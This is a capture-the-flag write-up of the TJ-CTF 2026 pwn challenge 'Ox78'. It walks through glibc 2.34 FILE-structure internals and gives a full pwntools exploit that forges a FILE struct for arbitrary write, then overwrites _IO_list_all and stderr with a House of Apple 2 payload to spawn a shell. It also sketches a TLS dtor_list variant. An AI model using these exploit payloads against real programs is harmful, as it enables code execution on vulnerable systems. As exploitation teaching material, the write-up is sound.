[TJ-CTF 2026]-Pwn/Ox78

Overview#

This weekend, I played tjctf after a long time and solved this fsop challenge.The challenge is simple, author tried to prevent fsop by nulling the _chain of file structure but it quite did not work. The binary leaks the heap address and libc address thus we can bypass ASLR without any headache. Although heap leak is not necessay in this challenge but some players solved it using both leaks.

1
./ld-linux-x86-64.so.2 ./libc.so.6
2
GNU C Library (Ubuntu GLIBC 2.34-0ubuntu3) stable release version 2.34.
3
Copyright (C) 2021 Free Software Foundation, Inc.
4
This is free software; see the source for copying conditions.
5
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
6
PARTICULAR PURPOSE.
7
Compiled by GNU CC version 10.3.0.
8
libc ABIs: UNIQUE IFUNC ABSOLUTE
9
For bug reporting instructions, please see:
10
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

1
Basic information
2
Canary                                  : Disabled(will it work?)
3
NX                                      : Enabled
4
PIE                                     : Enabled
5
RELRO                                   : Full RELRO
6
Fortify                                 : Not found

Source code#

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  setvbuf(stdin, 0LL, 2, 0LL);
4
  setvbuf(_bss_start, 0LL, 2, 0LL);//religious buffering
5
  Ox78();
6
  return 0;
7
}

This is the main function. It does some religious buffering and then calls another function.

1
__int64 Ox78()
2
{
3
  const void *v0; // rax
4

5
  create_test_file();
6
  testbuf = malloc(0x78uLL);
7
  fp = fopen("/tmp/test.txt", "r");
8
  puts(
9
    "I'm trying to test my FSOP prevention mechanism so I can share it with my coworkers who know nothing about security."
10
    " It should be foolproof right?\n");
11
  printf("Here's the address of the File Structure: 0x%llx\n", fp);
12
  v0 = (const void *)puts_got_value();//ptsd
13
  printf("I'm pretty confident you can't break out of this, so I'll give you a libc leak as well: %p\n\n", v0);
14
  read(0, fp, 0x78uLL);
15
  prevent_fsop();//will it work?
16
  fread(testbuf, 1uLL, 0x78uLL, fp);//gem alert
17
  prevent_fsop();//will it work?
18
  return 0LL;
19
}

Too many buzz loc!

1
read(0, fp, 0x78uLL);
2
prevent_fsop();->nulls the _chain;
3
fread(testbuf, 1uLL, 0x78uLL, fp);

This is the real thing. It grants write primitive on file structure(fp) and then use this fp to read in testbuf.

1
# gef> ptype/ox FILE*
2
# type = struct _IO_FILE {
3
# /* 0x0000      |  0x0004 */    int _flags;
4
# /* XXX  4-byte hole      */
5
# /* 0x0008      |  0x0008 */    char *_IO_read_ptr;
6
# /* 0x0010      |  0x0008 */    char *_IO_read_end;
7
# /* 0x0018      |  0x0008 */    char *_IO_read_base;
8
# /* 0x0020      |  0x0008 */    char *_IO_write_base;
9
# /* 0x0028      |  0x0008 */    char *_IO_write_ptr;
10
# /* 0x0030      |  0x0008 */    char *_IO_write_end;
11
# /* 0x0038      |  0x0008 */    char *_IO_buf_base;
12
# /* 0x0040      |  0x0008 */    char *_IO_buf_end;
13
# /* 0x0048      |  0x0008 */    char *_IO_save_base;
14
# /* 0x0050      |  0x0008 */    char *_IO_backup_base;
15
# /* 0x0058      |  0x0008 */    char *_IO_save_end;
16
# /* 0x0060      |  0x0008 */    struct _IO_marker *_markers;
17
# /* 0x0068      |  0x0008 */    struct _IO_FILE *_chain;
18
# /* 0x0070      |  0x0004 */    int _fileno;
19
# /* 0x0074      |  0x0004 */    int _flags2;
20
# /* 0x0078      |  0x0008 */    __off_t _old_offset;

with this write primitive we control many of the pointers of fp and this can be used to gain arbitrary write primitve. And we have libc leak thus making it very easy to write anywhere in libc.

1
size_t
2
_IO_fread (void *buf, size_t size, size_t count, FILE *fp)
3
{
4
  size_t bytes_requested = size * count;
5
  size_t bytes_read;
6
  CHECK_FILE (fp, 0);//not in disassembly
7
  if (bytes_requested == 0)
8
    return 0;
9
  _IO_acquire_lock (fp);
10
  bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
11
  _IO_release_lock (fp);
12
  return bytes_requested == bytes_read ? count : bytes_read / size;
13
}

This is implementation of fread in libc. I have pasted all the source code below and will explain the path which will lead to arb write. Above code calculates bytes_requested then sanity check the file structure(fp->this is the same fp that we have write primitive on.), then does some locking stuff and calls _IO_sgetn.

1
size_t
2
_IO_sgetn (FILE *fp, void *data, size_t n)
3
{
4
  /* FIXME handle putback buffer here! */
5
  return _IO_XSGETN (fp, data, n);
6
}
7
libc_hidden_def (_IO_sgetn)
8
--------------------------------------------------------------------------------
9
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
10
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);

_IO_sgetn is just a call to _IO_XSGETN which is a jump to a pointer in vtable. I don’t understand this correctly but seeing it in gef, I found the call to _IO_file_xsgetn.

1
0x7e996ea91f60 <__GI__IO_sgetn> (
2
   FILE* fp = 0x000057d173e45320  ->  0x0000000000000800,->fp
3
   void* data = 0x000057d173e452a0  ->  0x0000000000000000,->test_buffer
4
   size_t n = 0x0000000000000078,->size_of_test_buffer
5
)
6
 -> 0x7e996ea83c34 e827e30000            <fread+0x74>   call   0x7e996ea91f60 <__GI__IO_sgetn>
7

8
   -> 0x7e996ea91f60 f30f1efa              <_IO_sgetn>   endbr64
9
      0x7e996ea91f64 53                    <_IO_sgetn+0x4>   push   rbx
10
      0x7e996ea91f65 488d0df4791800        <_IO_sgetn+0x5>   lea    rcx, [rip + 0x1879f4] # 0x7e996ec19960 <_IO_helper_jumps>
11
      0x7e996ea91f6c 488d0555871800        <_IO_sgetn+0xc>   lea    rax, [rip + 0x188755] # 0x7e996ec1a6c8 <__elf_set___libc_atexit_element__IO_cleanup__>
12
      0x7e996ea91f73 4829c8                <_IO_sgetn+0x13>   sub    rax, rcx
13
      0x7e996ea91f76 4883ec20              <_IO_sgetn+0x16>   sub    rsp, 0x20

Below is the implementation of _IO_file_xsgetn.

1
size_t
2
_IO_file_xsgetn (FILE *fp, void *data, size_t n)
3
{
4
  size_t want, have;
5
  ssize_t count;
6
  char *s = data;
7

8
  want = n;
9

10
  if (fp->_IO_buf_base == NULL)
11
    {
12
      /* Maybe we already have a push back pointer.  */
13
      if (fp->_IO_save_base != NULL)
14
  {
15
    free (fp->_IO_save_base);
16
    fp->_flags &= ~_IO_IN_BACKUP;
17
  }
18
      _IO_doallocbuf (fp);
19
    }

We don’t want to go into this path so fp->_IO_buf_base == NULL this condition should be false.

1
  while (want > 0)/*this condition is true*/
2
    {
3
      have = fp->_IO_read_end - fp->_IO_read_ptr;
4
      if (want <= have)/*we don' want this condition */
5
  {
6
    memcpy (s, fp->_IO_read_ptr, want);
7
    fp->_IO_read_ptr += want;
8
    want = 0;
9
  }
10
      else
11
  {
12
    if (have > 0)/*again undesirable*/
13
      {
14
        s = __mempcpy (s, fp->_IO_read_ptr, have);
15
        want -= have;
16
        fp->_IO_read_ptr += have;
17
      }
18

19
    /* Check for backup and repeat */
20
    if (_IO_in_backup (fp))/*test   DWORD PTR [rbx], 0x100*/
21
      {/*what can i say except don't go into this !!*/
22
        _IO_switch_to_main_get_area (fp);
23
        continue;
24
      }
25

26
    /* If we now want less than a buffer, underflow and repeat
27
       the copy.  Otherwise, _IO_SYSREAD directly to
28
       the user buffer. */
29
    if (fp->_IO_buf_base
30
        && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
31
      {/*desirable condition as this will call __underflow and so on......*/
32
        if (__underflow (fp) == EOF)
33
    break;
34

35
        continue;
36
      }
37
}
38
/*skipped the rest loc */
39
libc_hidden_def (_IO_file_xsgetn)

Nothing interesting except __underflow. Touring the code below we can find the call to again a pointer in vtable which is _IO_UNDERFLOW.

1
int
2
__underflow (FILE *fp)
3
{
4
  if (_IO_vtable_offset (fp) == 0 && _IO_fwide (fp, -1) != -1)
5
    return EOF;//this condition is not in disassembly i don't know the reason.
6

7
  if (fp->_mode == 0)
8
    _IO_fwide (fp, -1);
9
  if (_IO_in_put_mode (fp))/*#define _IO_in_put_mode(_fp) ((_fp)->_flags & _IO_CURRENTLY_PUTTING)*/
10
    if (_IO_switch_to_get_mode (fp) == EOF)//_flags is now 0x0(if ^ condition is fulfilled)
11
      return EOF;
12
  if (fp->_IO_read_ptr < fp->_IO_read_end)//ignore
13
    return *(unsigned char *) fp->_IO_read_ptr;
14
  if (_IO_in_backup (fp))/*#define _IO_in_backup(fp) ((fp)->_flags & _IO_IN_BACKUP))*///ignored
15
    {
16
      _IO_switch_to_main_get_area (fp);
17
      if (fp->_IO_read_ptr < fp->_IO_read_end)
18
  return *(unsigned char *) fp->_IO_read_ptr;
19
    }
20
  if (_IO_have_markers (fp))/*#define _IO_have_markers(fp) ((fp)->_markers != NULL) *///ignored
21
    {
22
      if (save_for_backup (fp, fp->_IO_read_end))
23
  return EOF;
24
    }
25
  else if (_IO_have_backup (fp))/*#define _IO_have_backup(fp) ((fp)->_IO_save_base != NULL)*///ignored
26
    _IO_free_backup_area (fp);
27
  return _IO_UNDERFLOW (fp);
28
}
29
libc_hidden_def (__underflow)

Somehow we have to find a path that will successfully reach this return _IO_UNDERFLOW (fp). Most of the above condition is just one loc defined as macro in libiop.h and is very easy to read.

1
int
2
_IO_switch_to_get_mode (FILE *fp)
3
{
4
  if (fp->_IO_write_ptr > fp->_IO_write_base)
5
    if (_IO_OVERFLOW (fp, EOF) == EOF)
6
      return EOF;
7
  if (_IO_in_backup (fp))
8
    fp->_IO_read_base = fp->_IO_backup_base;
9
  else
10
    {
11
      fp->_IO_read_base = fp->_IO_buf_base;
12
      if (fp->_IO_write_ptr > fp->_IO_read_end)
13
  fp->_IO_read_end = fp->_IO_write_ptr;
14
    }
15
  fp->_IO_read_ptr = fp->_IO_write_ptr;
16

17
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = fp->_IO_read_ptr;
18

19
  fp->_flags &= ~_IO_CURRENTLY_PUTTING;//_flags = 0x0;
20
  return 0;//not EOF so fine!
21
}
22
libc_hidden_def (_IO_switch_to_get_mode)
23

24
//right now _flags = 0x0; so most of the "and" condition ->false
25
int
26
_IO_new_file_underflow (FILE *fp)
27
{
28
  ssize_t count;
29

30
  /* Nope */
31
  if (fp->_flags & _IO_EOF_SEEN)
32
    return EOF;
33
/*Again Nope */
34
  if (fp->_flags & _IO_NO_READS)
35
    {
36
      fp->_flags |= _IO_ERR_SEEN;
37
      __set_errno (EBADF);
38
      return EOF;
39
    }/*Nope */
40
  if (fp->_IO_read_ptr < fp->_IO_read_end)
41
    return *(unsigned char *) fp->_IO_read_ptr;
42
    /*Nope */
43
  if (fp->_IO_buf_base == NULL)
44
    {
45
      /* Maybe we already have a push back pointer.  */
46
      if (fp->_IO_save_base != NULL)
47
  {
48
    free (fp->_IO_save_base);
49
    fp->_flags &= ~_IO_IN_BACKUP;
50
  }
51
      _IO_doallocbuf (fp);
52
    }
53
  /*Hell naww */
54

55
  if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
56
    {
57
      /* We used to flush all line-buffered stream.  This really isn't
58
   required by any standard.  My recollection is that
59
   traditional Unix systems did this for stdout.  stderr better
60
   not be line buffered.  So we do just that here
61
   explicitly.  --drepper */
62
      _IO_acquire_lock (stdout);
63

64
      if ((stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
65
    == (_IO_LINKED | _IO_LINE_BUF))
66
  _IO_OVERFLOW (stdout, EOF);
67

68
      _IO_release_lock (stdout);
69
    }
70

71
  _IO_switch_to_get_mode (fp);
72

73
  /* This is very tricky. We have to adjust those
74
     pointers before we call _IO_SYSREAD () since
75
     we may longjump () out while waiting for
76
     input. Those pointers may be screwed up. H.J. */
77
  fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
78
  fp->_IO_read_end = fp->_IO_buf_base;
79
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
80
    = fp->_IO_buf_base;
81
/*Gem Alert!!! */
82
//rdi->0x0; rsi->user controlled, rdx->user controlled
83
  count = _IO_SYSREAD (fp, fp->_IO_buf_base,
84
           fp->_IO_buf_end - fp->_IO_buf_base);
85
           /*do not care loc!!!!*/
86
  if (count <= 0)
87
    {
88
      if (count == 0)
89
  fp->_flags |= _IO_EOF_SEEN;
90
      else
91
  fp->_flags |= _IO_ERR_SEEN, count = 0;
92
  }
93
  fp->_IO_read_end += count;
94
  if (count == 0)
95
    {
96
      /* If a stream is read to EOF, the calling application may switch active
97
   handles.  As a result, our offset cache would no longer be valid, so
98
   unset it.  */
99
      fp->_offset = _IO_pos_BAD;
100
      return EOF;
101
    }
102
  if (fp->_offset != _IO_pos_BAD)
103
    _IO_pos_adjust (fp->_offset, count);
104
  return *(unsigned char *) fp->_IO_read_ptr;
105
}
106
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)

Now this loc is banger cuz it calls read with all arguments in user control. A simple receipe to arbitrary write.

1
---------------------------------------------------------------
2
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
3
           fp->_IO_buf_end - fp->_IO_buf_base);
4

5
----------------------------------------------------------------
6
#define _IO_SYSREAD(FP, DATA, LEN) JUMP2 (__read, FP, DATA, LEN)
7
__read (int fd, void *buf, size_t nbytes)
8
{
9
  return __pread64 (fd, buf, nbytes, -1);
10
}
11
libc_hidden_weak (__read)

This is most of the bits that will manipulate the path as most of the if conditions relies on the _flag of fp.

1
/* Magic number and bits for the _flags field.  The magic number is
2
   mostly vestigial, but preserved for compatibility.  It occupies the
3
   high 16 bits of _flags; the low 16 bits are actual flag bits.  */
4

5
#define _IO_MAGIC         0xFBAD0000 /* Magic number */
6
#define _IO_MAGIC_MASK    0xFFFF0000
7
#define _IO_USER_BUF          0x0001 /* Don't deallocate buffer on close. */
8
#define _IO_UNBUFFERED        0x0002
9
#define _IO_NO_READS          0x0004 /* Reading not allowed.  */
10
#define _IO_NO_WRITES         0x0008 /* Writing not allowed.  */
11
#define _IO_EOF_SEEN          0x0010
12
#define _IO_ERR_SEEN          0x0020
13
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close.  */
14
#define _IO_LINKED            0x0080 /* In the list of all open files.  */
15
#define _IO_IN_BACKUP         0x0100
16
#define _IO_LINE_BUF          0x0200
17
#define _IO_TIED_PUT_GET      0x0400 /* Put and get pointer move in unison.  */
18
#define _IO_CURRENTLY_PUTTING 0x0800
19
#define _IO_IS_APPENDING      0x1000
20
#define _IO_IS_FILEBUF        0x2000
21
                           /* 0x4000  No longer used, reserved for compat.  */
22
#define _IO_USER_LOCK         0x8000

Listing all of the conditions-

fp->_IO_buf_base -> start of the write address.
fp->_IO_buf_end ->end of the write address.
length = fp->_IO_buf_end - fp->_IO_buf_base and this should be greater than want which is 0x78.
_flag |= _IO_CURRENTLY_PUTTING(so that _flags = 0x0)
Rest all pointers zero

Exploit#

1
fp = pack(0xfbad0800)#0x0
2
fp =pack(0x800)#this is fine as long as there is no CHECK_FILE(fp)
3
fp +=pack(0x0)#8
4
fp+=pack(0x0)#10
5
fp+=pack(0x0)#18
6
fp+=pack(0x0)#20
7
fp+=pack(0x0)#28
8
fp+=pack(0x0)#30
9
fp+=pack(0xdeadbeef)#38(buf_base)
10
fp+=pack(0xdeadbeef+0x100)#40(buf_end)
11
# fp +=pack(stderr-0x20)
12
# fp+=pack(stderr+0xe0+0x20)
13
fp+=pack(0x0)#48
14
fp+=p8(0x0)*(0x68-len(fp))
15
fp+=pack(libc_leak+0x1947b0)
16
fp+=pack(0x0)
17

18
io.send(fp)

read_syscall

backtrace

Context: After getting arbitrary write, I mindlessly went for house of apple 2 cuz why not? I overwrote stderr with payload that I made long ago and waited for low cortisol shell,but what i recevied was high cortisol EOF.

I am not explaining house of apple 2. there are tons of blogs on internet and that explains better! well EOF is not shell so I started debugging exit_handler in gdb and reached at this code.

1
int
2
_IO_flush_all_lockp (int do_lock)
3
{
4
  int result = 0;
5
  FILE *fp;
6

7
#ifdef _IO_MTSAFE_IO
8
  _IO_cleanup_region_start_noarg (flush_cleanup);
9
  _IO_lock_lock (list_all_lock);
10
#endif
11

12
  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
13
    {
14
      run_fp = fp;
15
      if (do_lock)
16
  _IO_flockfile (fp);
17

18
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
19
     || (_IO_vtable_offset (fp) == 0
20
         && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
21
            > fp->_wide_data->_IO_write_base))
22
     )
23
    && _IO_OVERFLOW (fp, EOF) == EOF)
24
  result = EOF;
25

26
      if (do_lock)
27
  _IO_funlockfile (fp);
28
      run_fp = NULL;
29
    }
30

31
#ifdef _IO_MTSAFE_IO
32
  _IO_lock_unlock (list_all_lock);
33
  _IO_cleanup_region_end (0);
34
#endif
35

36
  return result;
37
}

My payload relied on the fact that _IO_OVERFLOW (fp, EOF) -> this should be called with fp as stderr which should be easy peasy cuz _IO_list_all is linked list that is initialized to stderr. and then next fp traverses via _chain. But guess what i did not account for ,the new file structure which was allocated on heap. May be I did but I think, I assumed it to be placed at the end of linked list which was not the case, and the reason is this

1
void
2
_IO_link_in (struct _IO_FILE_plus *fp)
3
{
4
  if ((fp->file._flags & _IO_LINKED) == 0)
5
    {
6
      fp->file._flags |= _IO_LINKED;
7
#ifdef _IO_MTSAFE_IO/*hmm cool but not relevant to this chall*/
8
      _IO_cleanup_region_start_noarg (flush_cleanup);
9
      _IO_lock_lock (list_all_lock);
10
      run_fp = (FILE *) fp;
11
      _IO_flockfile ((FILE *) fp);
12
#endif
13
      fp->file._chain = (FILE *) _IO_list_all;
14
      _IO_list_all = fp;
15
#ifdef _IO_MTSAFE_IO
16
      _IO_funlockfile ((FILE *) fp);
17
      run_fp = NULL;
18
      _IO_lock_unlock (list_all_lock);
19
      _IO_cleanup_region_end (0);
20
#endif
21
    }
22
}
23
libc_hidden_def (_IO_link_in)

fopen internally calls this function _IO_link_in and fp is inserted at the head of the linked list so now __GI__IO_list_all is like fp->stderr->stdout->stdin->0x0 and before exiting prevent_fsop nulls the _chain which breaks the linked list to only fp->0x0 and thus EOF.

1
0x79b097e9137a <_IO_link_in+0xfa>     mov    rdx, QWORD PTR [rip + 0x1882df] # 0x79b098019660 <__GI__IO_list_all>
2
0x79b097e91381  <_IO_link_in+0x101>   add    DWORD PTR [rdi + 0x4], 0x1
3
0x79b097e91385  <_IO_link_in+0x105>   mov    QWORD PTR [rdi + 0x8], rbp
4
0x79b097e91389  <_IO_link_in+0x109>   mov    QWORD PTR [rip + 0x1882d0], rbx # 0x79b098019660 <__GI__IO_list_all>
5
0x79b097e91390  <_IO_link_in+0x110>   mov    QWORD PTR [rbx + 0x68], rdx

While debugging in gef, I found that __GI__IO_list_all is very close to _IO_2_1_stderr.

1
0x79b098019660 <__GI__IO_list_all>:  0x0000633a85c90320  0x0000000000000000
2
0x79b098019670:                      0x0000000000000000  0x0000000000000000
3
0x79b098019680 <_IO_2_1_stderr_>:    0x00000000fbad2086  0x0000000000000000
4
0x79b098019690 <_IO_2_1_stderr_+16>:0x0000000000000000  0x0000000000000000
5
0x79b0980196a0 <_IO_2_1_stderr_+32>:0x0000000000000000  0x0000000000000000

And with arb write primitive and libc leak, I just overwrote __GI__IO_list_all to stderr thus calling _IO_OVERFLOW with fp as stderr. and shell!!

1
from pwn import *
2
elf = context.binary = ELF("./chall")
3
libc = ELF("./libc.so.6")
4
context.log_level = "Debug"
5

6
io = process()
7
io.recvuntil(b"Structure:")
8
heap_leak = int(io.recvn(0xf),0x10)
9
print(hex(heap_leak))
10
io.recvuntil(b"well:")
11

12

13
libc_leak = int(io.recvn(0xf),0x10)
14
print(hex(libc_leak))
15
# gdb.attach(io,gdbscript ='''break *fread''')
16
stderr = libc_leak+0x1947b0
17

18
libc.address = stderr-libc.sym['_IO_2_1_stderr_']
19
fp = pack(0x800)#0x0
20
fp +=pack(0x0)#8
21
fp+=pack(0x0)#10
22
fp+=pack(0x0)#18
23
fp+=pack(0x0)#20
24
fp+=pack(0x0)#28
25
fp+=pack(0x0)#30
26
fp +=pack(stderr-0x20)
27
fp+=pack(stderr+0xe0+0x20)
28

29
fp+=pack(0x0)#48
30
fp+=p8(0x0)*(0x68-len(fp))
31
fp+=pack(libc_leak+0x1947b0)
32
fp+=pack(0x0)
33

34
io.send(fp)
35
print(len(fp))
36

37

38
#########stderr payload#####################
39

40
libc_base =libc.address
41
stderr_address = stderr
42
system_addr = libc_base+libc.sym.system
43
fake_wide_data = stderr_address-0x48
44
wide_vtable  = stderr_address
45

46

47
print(hex(wide_vtable))
48
lock = libc_base+0x21b730
49
fake_stderr_vtable = libc_base+0x21a020#io_Wfile_jumps
50
lock = 0x0
51
chain = libc_base+0x218a80
52

53
payload=pack(stderr)
54
payload +=pack(0x0)*0x3
55
payload +=pack(0x3b01010101010101)#0x0
56
payload+=b"/bin/sh\x00"#0x8
57
payload+=pack(0x0)#0x10
58
payload+=b"\x00"*(0x20-0x18)
59
payload +=pack(0x0)#0x20
60
payload+=pack(0x1)#0x28
61
payload+=p8(0x0)*(0x60-0x30)
62
payload+=pack(libc_base+0x54ae0)#60
63
payload+=pack(chain)#68
64
payload+=p8(0x0)*(0x88-0x70)
65
payload+=pack(lock)#0x88
66
payload+=p8(0x0)*(0x98-0x90)#0x90
67
payload+=pack(wide_vtable-0x8)#0x98
68
payload+=p8(0x0)*(0xa0-0x90-0x10)
69
payload+=pack(fake_wide_data)#a0
70
payload+=pack(0x0)#a8
71
payload+=p8(0x0)*(0xd8-0xa8-0x8)
72
payload+=pack(fake_stderr_vtable)
73

74
print(f"fake wide data address = {hex(fake_wide_data)}")
75
print(f"fake_wide vtable address is {hex(wide_vtable)}")
76
print(f"libc base address:{hex(libc_base)}")
77
print(len(payload))
78
io.sendline(payload)
79
io.interactive()

A better exploit?#

As libc version is 2.34, tls sections is alligned with libc sections and thus we can also overwrite dtor_list struct and get shell. I am too lazy to make exploit with this but I will just yoink the src code and disassembly and explain some stuff.

1
typedef void (*dtor_func) (void *);
2

3
struct dtor_list
4
{
5
  dtor_func func;
6
  void *obj;
7
  struct link_map *map;
8
  struct dtor_list *next;
9
};
10

11
void
12
__call_tls_dtors (void)
13
{
14
  while (tls_dtor_list)
15
    {
16
      struct dtor_list *cur = tls_dtor_list;
17
      dtor_func func = cur->func;
18
#ifdef PTR_DEMANGLE
19
      PTR_DEMANGLE (func);
20
#endif
21

22
      tls_dtor_list = tls_dtor_list->next;
23
      func (cur->obj);
24

25
      /* Ensure that the MAP dereference happens before
26
   l_tls_dtor_count decrement.  That way, we protect this access from a
27
   potential DSO unload in _dl_close_worker, which happens when
28
   l_tls_dtor_count is 0.  See CONCURRENCY NOTES for more detail.  */
29
      atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
30
      free (cur);
31
    }
32
}
33
libc_hidden_def (__call_tls_dtors)

1
Dump of assembler code for function __GI___call_tls_dtors:
2
   0x0000777d6fe49dc0 <+0>:  endbr64
3
   0x0000777d6fe49dc4 <+4>:  push   rbp
4
   0x0000777d6fe49dc5 <+5>:  push   rbx
5
   0x0000777d6fe49dc6 <+6>:  sub    rsp,0x8
6
   0x0000777d6fe49dca <+10>:  mov    rbx,QWORD PTR [rip+0x1cdfbf]        # 0x777d70017d90
7
   0x0000777d6fe49dd1 <+17>:  mov    rbp,QWORD PTR fs:[rbx]
8
   0x0000777d6fe49dd5 <+21>:  test   rbp,rbp
9
   0x0000777d6fe49dd8 <+24>:  je     0x777d6fe49e1d <__GI___call_tls_dtors+93>
10
   0x0000777d6fe49dda <+26>:  nop    WORD PTR [rax+rax*1+0x0]
11
   0x0000777d6fe49de0 <+32>:  mov    rdx,QWORD PTR [rbp+0x18]
12
   0x0000777d6fe49de4 <+36>:  mov    rax,QWORD PTR [rbp+0x0]
13
   0x0000777d6fe49de8 <+40>:  ror    rax,0x11
14
   0x0000777d6fe49dec <+44>:  xor    rax,QWORD PTR fs:0x30
15
   0x0000777d6fe49df5 <+53>:  mov    QWORD PTR fs:[rbx],rdx
16
   0x0000777d6fe49df9 <+57>:  mov    rdi,QWORD PTR [rbp+0x8]
17
   0x0000777d6fe49dfd <+61>:  call   rax
18
   0x0000777d6fe49dff <+63>:  mov    rax,QWORD PTR [rbp+0x10]
19
   0x0000777d6fe49e03 <+67>:  lock sub QWORD PTR [rax+0x468],0x1
20
   0x0000777d6fe49e0c <+76>:  mov    rdi,rbp
21
   0x0000777d6fe49e0f <+79>:  call   0x777d6fe2c350 <free@plt>
22
   0x0000777d6fe49e14 <+84>:  mov    rbp,QWORD PTR fs:[rbx]
23
   0x0000777d6fe49e18 <+88>:  test   rbp,rbp
24
   0x0000777d6fe49e1b <+91>:  jne    0x777d6fe49de0 <__GI___call_tls_dtors+32>
25
   0x0000777d6fe49e1d <+93>:  add    rsp,0x8
26
   0x0000777d6fe49e21 <+97>:  pop    rbx
27
   0x0000777d6fe49e22 <+98>:  pop    rbp
28
   0x0000777d6fe49e23 <+99>:  ret

while loop check is at +24, and rbx contains negative value, fs is the address of struct dtor_list.We have to null the fs:0x30(random_value) cuz then at +44 xor operation will have no effect. So overwriting func with with system<<17 and then obj with address of “bin/sh” will give the shell.

Update#

I think I’ll just complete it. I am making exploit locally with ASLR off so the offset will be different from Docker. This is the tls section TLS

so to get shell we have to forge dtor_list and currently there is none(see the checks +24), so we will put a pointer there which will be our fake dtor_list. Also the ptr mangle cookie should be zero to null the side-effect of xor operation.

This is after overwriting stuff.. TLS

1
tls_struct =pack(libc.address+0x3bd6e8+0x8)
2
tls_payload = tls_struct
3
tls_payload+=pack(libc.sym.system<<17)
4
tls_payload+=pack(libc.address+0x1dbcba)
5
tls_payload+=pack(0x0)*0x8
6
tls_payload+=pack(libc.address+0x3bd740)
7
tls_payload+=pack(libc.address+0x3be160)
8
tls_payload+=pack(libc.address+0x3bd740)
9
tls_payload+=pack(0x0)*0x4

Aftermath#

Nice challenge! Touring libc source code is fun.

References#

https://github.com/nobodyisnobody/docs/tree/main/code.execution.on.last.libc https://elixir.bootlin.com/glibc/glibc-2.34/source/stdlib/cxa_thread_atexit_impl.c#L89 https://elixir.bootlin.com/glibc/glibc-2.34/source/libio/genops.c#L86 https://elixir.bootlin.com/glibc/glibc-2.34/source/libio/genops.c#L685